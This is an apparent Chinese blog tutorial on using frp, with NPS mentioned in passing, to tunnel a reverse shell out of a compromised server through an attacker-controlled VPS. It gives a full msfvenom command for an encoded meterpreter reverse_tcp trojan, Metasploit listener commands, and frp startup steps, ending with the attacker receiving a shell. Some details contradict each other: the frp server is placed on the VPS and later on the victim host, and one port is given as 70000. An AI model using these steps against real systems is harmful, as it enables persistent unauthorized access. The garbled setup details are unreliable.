Linux进程排查之代理隧道

目录

代理隧道

Frp隧道流量代理

使用场景

前提条件

代理过程

失陷主机或服务器

公网vps

frp服务

利用过程

Nps隧道流量代理

---

代理隧道

代理隧道是一种网络技术，通过在互联网上建立一个虚拟的隧道，将内部网络与外部网络相连，从而实现数据的传输和通信。原理是通过在网络传输中建立一个隧道，将通信流量从一种网络协议转换为另一种网络协议。

Frp隧道流量代理

使用场景

1、拿下了远程web服务器

2、webshell的连接不稳定，需要使用稳定的木马程序

3、远程服务器无法直接连接攻击者电脑（内网IP）

4、需要借助公网vps转发来自失陷服务器的木马流量

5、可以借助frp服务器（vps）和客户端（攻击者）建立隧道

前提条件

• 攻击者拿下了webshell权限
• 攻击者能够上传完整功能的木马到服务端
• 生成一个木马，服务端执行了木马都会连接vps的frp端口发送流量
• 对于公网vps，攻击者和受害者服务器都可以访问且攻击者可控

代理过程

失陷主机或服务器

• 在执行攻击者上传的木马时会主动请求vps的4444端口进行通信，并发送流量

公网vps

• 攻击者可控的
• 攻击者和受害服务器都是可以访问的
• vps使用7000端口（frp软件）进行监听，攻击者向vps发出请求建立隧道（只能由攻击者向vps发送请求，因为公网IP不能访问内网IP）
• 受害主机运行攻击者上传的木马后会将流量通过4444端口传送至vps，然后vps把自己的4444端口的流量通过7000端口转发给攻击者（其实这样看来vps就是充当了一个媒介传递内网的流量给外网）

frp服务

frp存在客户端和服务端，frp服务运行起来后服务端会自行开放7000端口。

• 攻击端配置frpc客户端
• vps7.7.7.7上配置frps服务端
• frpc客户端和frps服务端连接后就建立了一个隧道，frps的4444端口会接收受害服务器的流量通过7000端口传递给frpc客户端的7777端口。

利用过程

1、在攻击机使用msf生成木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.223 LPORT=4444 -e x86/shikata_ga_nai -f exe -o shell.exe -i 5

2、将木马上传到失陷服务器

3、攻击机启动msf，开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 4444
run

4、攻击端开启frp客户端

#解压frp客户端压缩包
tar xf frp_0.33.0_linux_amd64.tar.gz

#查看客户端配置信息是否本地开放4444端口，并且设置frp服务端IP和连接端口70000
vim frpc.ini

#启动frp客户端（frpc）
sudo ./frpc -c frpc.ini

5、失陷主机开启frp服务端

# 查看frp服务端的配置文件，查看是否开放端口是7000。这里是Windows系统，可以直接打开，也可以使用命令
type frps.ini

#启动frp服务器
frps.exe -c frps.ini

6、失陷主机运行木马

7、攻击机监听获得shell。

Nps隧道流量代理

nps是一款轻量级、高性能、功能强大的内味穿透代理服务器。同frp类似，比较frp优点是nps有web后台管理页面，即它具有图形化管理界面，更方便配置。

由于和frp代理的原理、使用方式都差不多，这里就不详细讲。

参考链接：frp隧道（流量代理）_frp 隧道通信流量-CSDN博客

参考链接：【内网安全-隧道搭建】内网穿透_Nps配置、上线_nps 配置-CSDN博客